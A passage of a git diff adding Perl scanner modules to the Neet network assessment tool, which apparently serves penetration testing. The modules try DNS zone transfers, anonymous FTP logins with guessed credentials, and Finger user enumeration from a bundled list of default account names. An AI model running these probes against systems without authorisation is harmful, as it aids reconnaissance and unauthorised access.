file for details. + +Copyright 2008-2014 Jonathan Roach +Email: jonnyhightower [at] funkygeek.com + + diff --git a/VERSION b/VERSION new file mode 100644 index 0000000..9084fa2 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +1.1.0 diff --git a/content/DNS/DNS.gsm b/content/DNS/DNS.gsm new file mode 100644 index 0000000..2d5145a --- /dev/null +++ b/content/DNS/DNS.gsm @@ -0,0 +1,325 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package DNS; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("domain.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=15; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + my $dig=$MainScan->getPath("dig"); + if ($dig){ + my $command = "$dig \@$host -p $port -x $host"; + $command .= " +tcp" if ($protocol eq "tcp"); + $MainScan->System("$command > $outputDir/raw/digdomain-${port}.txt 2>&1"); + my @results=$MainScan->ReadFile("$outputDir/raw/digdomain-${port}.txt"); + my $answer=0; my ($fqdn,$hostname,$domain); + for my $line (@results){ + if (index($line,"ANSWER SECTION")>0){ + $answer=1; + next; + } + if ($answer){ + my @params = split(" ", $line); + $fqdn=$params[4]; + $answer=0; + last; + } + } + $#results=-1; + if ($fqdn){ + my @params=split("\\.", $fqdn); + $hostname=shift(@params); + $domain=join ".", @params; + $fqdn =~ s/\.$//; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","FQDN","$fqdn"); + } + if ($domain){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","DNSDomain","$domain"); + # Try a zone transfer + my $output="$outputDir/raw/axfr-${domain}-${port}.txt"; + $MainScan->System("$dig \@$host -p $port axfr $domain > $output 2>&1"); + my @results=$MainScan->ReadFile($output); + for my $line (@results){ + if (index($line,";;")==0){ + $answer=1; + next; + } + if ($answer){ + if (index($line,"Transfer failed")>0){ + $answer=0; + last; + } + if ((index($line,$domain) == 0) && (index($line,"SOA") > 0)){ + $MainScan->ConfigError($target, "vuln", "GSM-DNS-1", "Obtained a zone transfer for the $domain domain"); + $MainScan->System("mv $output $outputDir/"); + last; + } + } + } + + # Try an external resolution + $answer=0; $domain = "bbc.co.uk"; my $record="mx"; + $output="$outputDir/raw/external-${domain}-${port}.txt"; + $MainScan->System("$dig \@$host -p $port $record $domain > $output 2>&1"); + @results=$MainScan->ReadFile($output); + for my $line (@results){ + if (index($line,"ANSWER SECTION")>0){ + $answer=1; + $record=uc($record); + next; + } + if ($answer && (index($line,$domain) == 0) && (index($line,"$record") > 0)){ + $MainScan->RecordIssue($target, "GSM-DNS-2", "Resolved $record record for the $domain domain"); + $MainScan->System("mv $output $outputDir/"); + last; + } + } + + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/FTP/FTP.gsm b/content/FTP/FTP.gsm new file mode 100644 index 0000000..3706bcd --- /dev/null +++ b/content/FTP/FTP.gsm @@ -0,0 +1,238 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +package FTP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + $struct{'Enabled'}=1; + $struct{'Protocol'}='tcp'; + @{$struct{'WatchFiles'}}=("ftp.txt"); + $struct{'Cost'}=5; + $struct{'OnePerHost'}=0; + $struct{'MaxInstances'}=0; + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + use IO::Socket::INET; + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my @testUsers=("anonymous","ftp","guest"); + my @testPass=('USER@test.com',"USER","anonymous"); + my $login=0; my ($code,$u,$p,$ttl); + users: for my $user (@testUsers){ + for my $P (@testPass){ + my $pass=$P; + $pass =~ s/USER/$user/g; + my $sock=IO::Socket::INET->new('PeerAddr' => $host, 'PeerPort' => $port, 'Proto' => 'tcp'); + if ($sock){ + $code=""; $ttl=0; + until ($code || ($ttl == 10)){ + my $line=<$sock>; + $ttl++; + if ($line && $line =~ /^\d{3}\s/){ + $code = substr($line,0,3); + last; + } + } + print $sock "USER $user\r\n"; + $code=""; $ttl=0; + until ($code || ($ttl==10)){ + my $line=<$sock>; + $ttl++; + if ($line && $line =~ /^\d{3}\s/){ + $code = substr($line,0,3); + last; + } + } + + if ($code =~ /^3/){ + # Wants a password + print $sock "PASS $pass\r\n"; + $code=""; $ttl=0; + until ($code || ($ttl==10)){ + my $line=<$sock>; + $ttl++; + if ($line && $line =~ /^\d{3}\s/){ + $code = substr($line,0,3); + last; + } + } + + if ($code =~ /^2/){ + $login=1; $u=$user; $p=$pass; + print $sock "QUIT\r\n"; + last users; + } + } + print $sock "QUIT\r\n"; + close $sock; + } + } + } + + if ($login){ + my $message="FTP Host supports anonymous login with $u:$p"; + $MainScan->StoreGuessedPassword($target,"vuln", "FTP","$u","$p","GSM-FTP-1",$message); + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED Scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/Finger/Finger.gsm b/content/Finger/Finger.gsm new file mode 100644 index 0000000..66d5a11 --- /dev/null +++ b/content/Finger/Finger.gsm @@ -0,0 +1,309 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package Finger; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("finger.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=5; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my $TIMEOUT=600; + $SIG{'ALRM'}=sub { + die ("TIMEOUT"); + }; + + # And now the code for the actual test: + my $usersFile="${resourceDir}/defaultUsers"; + my $enumerated=0; + for my $user ($MainScan->ReadFile($usersFile)){ + chomp $user; my $sock; + alarm ($TIMEOUT); + eval { + $sock=IO::Socket::INET->new('PeerAddr' => $host, 'PeerPort' => $port, 'Proto' => 'tcp'); + + if ($sock){ + print $sock "$user\n"; + my @x=<$sock>; + my $exist=0; + for my $line (@x){ + if ($line =~ /Login: /i){ + $enumerated++; + $exist=1; + last; + } + last if ($line =~ /no such user/); + if (($line =~ /$user/) && ($line !~ /\s\?\?\?\s/) && ($line !~ /Login\s/)){ + $enumerated++; + $exist=1; + } else { + $exist=0; + } + } + if ($exist){ + if (open(USR,">>${outputDir}/fingerEnum.txt")){ + print USR @x; + close USR; + } + } + close $sock; + alarm 0; + } + }; # End of eval + + if ($@ =~ /TIMEOUT/){ + close $sock if ($sock); + $Log->Warn ("GSM thread $threadID ($name -> $target): TimedOut\n","LOGONLY"); + last; + } + } + + $SIG{'ALRM'}=''; + + if ($enumerated){ + my $message="Enumerated $enumerated users using Finger"; + $MainScan->ConfigError($target,"issue","GSM-Finger-1",$message); + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/Finger/defaultUsers b/content/Finger/defaultUsers new file mode 100644 index 0000000..ebb10cb --- /dev/null +++ b/content/Finger/defaultUsers @@ -0,0 +1,96 @@ +a +adm +admin +administrator +apache +avahi +avahi-autoipd +backup +backupexec +bin +bip +clamav +daemon +Debian-exim +dnsmasq +e +freerad +ftp +games +gdm +gnats +guest +h +haldaemon +halt +honeyd +hplip +i +identd +irc +jon +list +lp +mail +man +map +messagebus +moin +mysql +news +nobody +nstxd +ntp +o +openldap +operator +oracle +patrol +pentest +pop +privoxy +proxy +quagga +rachel +root +rpc +s +shutdown +siproxd +smmsp +sshd +statd +sync +sys +system +test +u +uucp +www +www-data +y +informix +mpi +help +user +super +public +debug +swift +db2as +db2inst1 +db2fenc1 +rewt +gamez +qlftpd +quest +friday +toor +hax0r +jack +date +OutOfBox +4Dgifts +demo +demos +EZsetup diff --git a/content/HPOpenView/HPOpenView.gsm b/content/HPOpenView/HPOpenView.gsm new file mode 100644 index 0000000..82f539b --- /dev/null +++ b/content/HPOpenView/HPOpenView.gsm @@ -0,0 +1,309 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package HPOpenView; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("openview.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=35; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=8; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my 